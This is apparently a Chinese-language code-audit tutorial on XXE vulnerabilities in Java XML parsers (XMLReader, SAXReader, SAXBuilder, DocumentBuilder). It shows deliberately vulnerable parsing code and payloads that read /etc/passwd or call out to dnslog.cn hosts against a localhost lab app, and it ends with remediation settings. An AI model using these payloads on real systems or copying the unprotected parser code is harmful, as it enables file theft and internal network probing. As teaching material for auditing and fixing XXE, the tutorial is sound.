【Java代码审计】XXE漏洞
- 1.XXE漏洞概述
- 2.Java中的XML常见接口
- 3.XXE 漏洞审计
- 4.XXE漏洞演示
- XMLReader
- SAXReader
- SAXBuilder
- DocumentBuilder
- 5.XXE漏洞修复
1.XXE漏洞概述
XXE 为 XML 外部实体注入。当应用程序在解析 XML 输入时,在没有禁止外部实体的加载而导致加载了外部文件及代码时,就会造成 XXE 漏洞
XXE 漏洞可以通过 file 协议或是 FTP 协议来读取文件源码,当然也可以通过 XXE 漏洞来对内网进行探测或者攻击。漏洞危害有:任意文件读取、内网探测、攻击内网站点、命令执行、DOS 攻击等
2.Java中的XML常见接口
想要了解 XXE 漏洞,我们首先需要知道常见的能够解析 XML 的方法,在 Java 中我们一般用以下几种常见的接口来解析 XML 语言:
1、XMLReader
XMLReader 接口是一种通过回调读取 XML 文档的接口,其存在于公共区域中。XMLReader 接口是 XML 解析器实现 SAX2 驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader 使用默认的解析方法并且未对 XML 进行过滤时,会出现 XXE 漏洞
try {
// 创建一个 XMLReader 对象,用于解析 XML 数据
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 解析 XML 数据
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
// 如果解析过程中发生异常,则捕获异常并返回异常状态
return EXCEPT;
}
2、SAXBuilder
SAXBuilder 是一个 JDOM 解析器,其能够将路径中的 XML 文件解析为 Document 对象。SAXBuilder 使用第三方 SAX 解析器来处理解析任务,并使用 SAXHandler 的实例侦听 SAX 事件。当 SAXBuilder 使用默认的解析方法并且未对 XML 进行过滤时,会出现XXE 漏洞
try {
// 从请求中获取请求体(body)
String body = WebUtils.getRequestBody(request);
// 将请求体打印到日志中
logger.info(body);
// 创建一个 SAXBuilder 对象,用于构建 XML 文档
SAXBuilder builder = new SAXBuilder();
// 使用 SAXBuilder 对象解析 XML 数据
// 这里的漏洞是由于未进行任何安全设置导致的 XXE(XML 外部实体)攻击风险
// 攻击者可以通过构造恶意的 XML 数据来读取系统文件等敏感信息
builder.build(new InputSource(new StringReader(body)));
} catch (Exception e) {
// 捕获任何异常,并将异常信息记录到日志中
logger.error(e.toString());
// 返回异常状态
return EXCEPT;
}
3、SAXReader
DOM4J 是 dom4j.org 出品的一个开源 XML 解析包,使用起来非常简单,只要了解基本的 XML-DOM 模型,就能使用。DOM4J 读/写 XML 文档主要依赖于 org.dom4j.io 包,它有 DOMReader 和 SAXReader 两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对 XML 进行过滤时,其也会出现 XXE 漏洞
try {
// 从请求中获取请求体(body)
String body = WebUtils.getRequestBody(request);
// 将请求体打印到日志中
logger.info(body);
// 创建一个 SAXReader 对象,用于解析 XML 数据
SAXReader reader = new SAXReader();
// 使用 SAXReader 对象解析 XML 数据
// 这里的漏洞是由于未进行任何安全设置导致的 XXE(XML 外部实体)攻击风险
// 攻击者可以通过构造恶意的 XML 数据来读取系统文件等敏感信息
reader.read(new InputSource(new StringReader(body)));
} catch (Exception e) {
// 捕获任何异常,并将异常信息记录到日志中
logger.error(e.toString());
// 返回异常状态
return EXCEPT;
}
4、SAXParserFactory
SAXParserFactory 使应用程序能够配置和获取基于 SAX 的解析器以解析 XML 文档。其受保护的构造方法,可以强制使用 newInstance()。跟上面介绍的一样,在使用默认解析方法且未对 XML 进行过滤时,其也会出现 XXE 漏洞
try {
// 从请求中获取请求体(body)
String body = WebUtils.getRequestBody(request);
// 将请求体打印到日志中
logger.info(body);
// 创建一个 SAXParserFactory 对象,用于创建 SAXParser
SAXParserFactory spf = SAXParserFactory.newInstance();
// 使用 SAXParserFactory 创建一个 SAXParser 对象
SAXParser parser = spf.newSAXParser();
// 使用 SAXParser 对象解析 XML 数据
// 这里使用了默认的 DefaultHandler,但需要注意,如果不进行安全设置,仍可能存在安全风险
// 需要谨慎处理输入的 XML 数据,以防止攻击者利用 XXE(XML 外部实体)等漏洞
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());
} catch (Exception e) {
// 捕获任何异常,并将异常信息记录到日志中
logger.error(e.toString());
// 返回异常状态
return EXCEPT;
}
5、Digester
Digester 类用来将 XML 映射成 Java 类,以简化 XML 的处理。它是 Apache Commons 库中的一个 jar 包:common-digester 包。一样的在默认配置下会出现 XXE 漏洞。其触发的 XXE 漏洞是没有回显的,我们一般需通过 Blind XXE 的方法来利用
try {
// 从请求中获取请求体(body)
String body = WebUtils.getRequestBody(request);
// 将请求体打印到日志中
logger.info(body);
// 创建一个 Digester 对象,用于解析 XML 数据
Digester digester = new Digester();
// 使用 Digester 对象解析 XML 数据
// 这里直接解析字符串,但需要注意,如果不进行安全设置,仍可能存在安全风险
// 需要谨慎处理输入的 XML 数据,以防止攻击者利用 XXE(XML 外部实体)等漏洞
digester.parse(new StringReader(body));
} catch (Exception e) {
// 捕获任何异常,并将异常信息记录到日志中
logger.error(e.toString());
// 返回异常状态
return EXCEPT;
}
6、DocumentBuilderFactory
javax.xml.parsers 包中的 DocumentBuilderFactory 用于创建 DOM 模式的解析器对象, DocumentBuilderFactory 是一个抽象工厂类,它不能直接实例化,但该类提供了一个newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回
try {
// 从请求中获取请求体内容
String body = WebUtils.getRequestBody(request);
// 记录请求体内容
logger.info(body);
// 创建解析 XML 的工厂
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 创建解析 XML 的构建器
DocumentBuilder db = dbf.newDocumentBuilder();
// 创建用于读取字符串的 StringReader 对象
StringReader sr = new StringReader(body);
// 创建用于从输入源读取数据的 InputSource 对象
InputSource is = new InputSource(sr);
// 解析 XML,将字符串转换为 Document 对象
Document document = db.parse(is);
// 遍历 XML 节点的 name 和 value,并存储在 StringBuffer 中
StringBuffer buf = new StringBuffer();
// 获取根节点列表
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
// 获取根节点的子节点列表
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
// 将节点的名称和内容追加到 StringBuffer 中
buf.append(node.getNodeName() + ":" + node.getTextContent() + "\n");
}
}
// 关闭 StringReader
sr.close();
// 返回 XML 节点的名称和内容组成的字符串
return buf.toString();
} catch (Exception e) {
// 记录异常信息
logger.error(e.toString());
// 返回异常状态信息
return EXCEPT;
}
3.XXE 漏洞审计
XXE 漏洞的审计方法和其他漏洞类似,只是搜索的关键字有所不同
XMLReader
SAXReader
DocumentBuilder
XMLStreamReader
SAXBuilder
SAXParser
SAXSource
TransformerFactory
SAXTransformerFactory
SchemaFactory
Unmarshaller
XPathExpression
我们已经清楚了漏洞的整个触发流程及原理。接下来,可以构造一个用于 XXE 漏洞审计的常见的 Payload。常见的 XXE Payload 如下所示:
<?xml version="1.0" ?>
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<xxe>&file;</xxe>
例如某一处漏洞源码中会将 username 节点的内容进行打印,我们只需将上面的 XXE 节点换为 username 即可被成功解析并输出:
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY file SYSTEM "file:///etc/passwd"> ]>
<user><username>&file;</username><password>admin</password></user>
XXE 执行效果如图:
4.XXE漏洞演示
XMLReader
漏洞代码:
public String XMLReader(@RequestParam String content) {
try {
log.info("[vul] XMLReader: " + content);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 修复:禁用外部实体
// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
xmlReader.parse(new InputSource(new StringReader(content)));
return "XMLReader XXE";
} catch (Exception e) {
return e.toString();
}
}
先生成一个dnslog地址:
触发payload:
http://127.0.0.1:8888/XXE/XMLReader?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3a%2f%2fvarzw4%2ednslog%2ecn%22%3E%5d%3E%3Croot%3E%26xxe%3b%3C%2froot%3E
命令执行成功:
SAXReader
漏洞代码:
public String SAXReader(@RequestParam String content) {
try {
SAXReader sax = new SAXReader();
// 修复:禁用外部实体
// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.read(new InputSource(new StringReader(content)));
return "SAXReader XXE";
} catch (Exception e) {
return e.toString();
}
}
同样触发payload:
http://127.0.0.1:8888/XXE/SAXReader?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3a%2f%2ft3ax50%2ednslog%2ecn%22%3E%5d%3E%3Croot%3E%26xxe%3b%3C%2froot%3E
命令执行成功:
SAXBuilder
SAXBuilder是一个JDOM解析器,能将路径中的XML文件解析为Document对象
漏洞代码:
public String SAXBuilder(@RequestParam String content) {
try {
SAXBuilder saxbuilder = new SAXBuilder();
saxbuilder.build(new InputSource(new StringReader(content)));
return "SAXBuilder XXE";
} catch (Exception e) {
return e.toString();
}
}
同样触发payload:
http://127.0.0.1:8888/XXE/SAXBuilder?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22http%3a%2f%2fwtf6tl%2ednslog%2ecn%22%3E%5d%3E%3Croot%3E%26xxe%3b%3C%2froot%3E
命令执行成功:
DocumentBuilder
漏洞代码:
public String DocumentBuilder(@RequestParam String content) {
try {
// DocumentBuilderFactory是用于创建DOM模式的解析器对象,newInstance方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
StringReader sr = new StringReader(content);
InputSource is = new InputSource(sr);
Document document = builder.parse(is);
NodeList nodeList = document.getElementsByTagName("person");
Element element = (Element) nodeList.item(0);
return String.format("姓名: %s", element.getElementsByTagName("name").item(0).getFirstChild().getNodeValue());
} catch (Exception e) {
return e.toString();
}
}
这次,使用file协议读取系统文件:
http://127.0.0.1:8888/XXE/DocumentBuilder?content=%3C%3fxml%20version%3d%221%2e0%22%20encoding%3d%22utf-8%22%3f%3E%3C%21DOCTYPE%20test%20%5b%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3a%2f%2f%2fetc%2fpasswd%22%3E%5d%3E%3Cperson%3E%3Cname%3E%26xxe%3b%3C%2fname%3E%3C%2fperson%3E
读取passwd文件成功:
5.XXE漏洞修复
1、对于 XXE 漏洞的防御比较简单,只需在使用 XML 解析器时设置其属性,禁用 DTD
或者禁止使用外部实体,一般常见的修复方案如下所示:
// 即禁止解析器处理文档类型声明。DOCTYPE 声明指定了文档类型及其 DTD
obj.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// 禁用外部通用实体。通用实体是 XML 中的一种机制,用于在文档中引用外部实体
obj.setFeature("http://xml.org/sax/features/external-general-entities", false);
// 禁用外部参数实体。参数实体也是 XML 中的一种机制,用于在 DTD 中定义实体
obj.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
2、黑名单过滤ENTITY和DOCTYPE字符
public static boolean checkXXE(String content) {
String[] black_list = {"ENTITY", "DOCTYPE"};
for (String s : black_list) {
if (content.toUpperCase().contains(s)) {
return true;
}
}
return false;
}
再次触发payload,攻击被检测: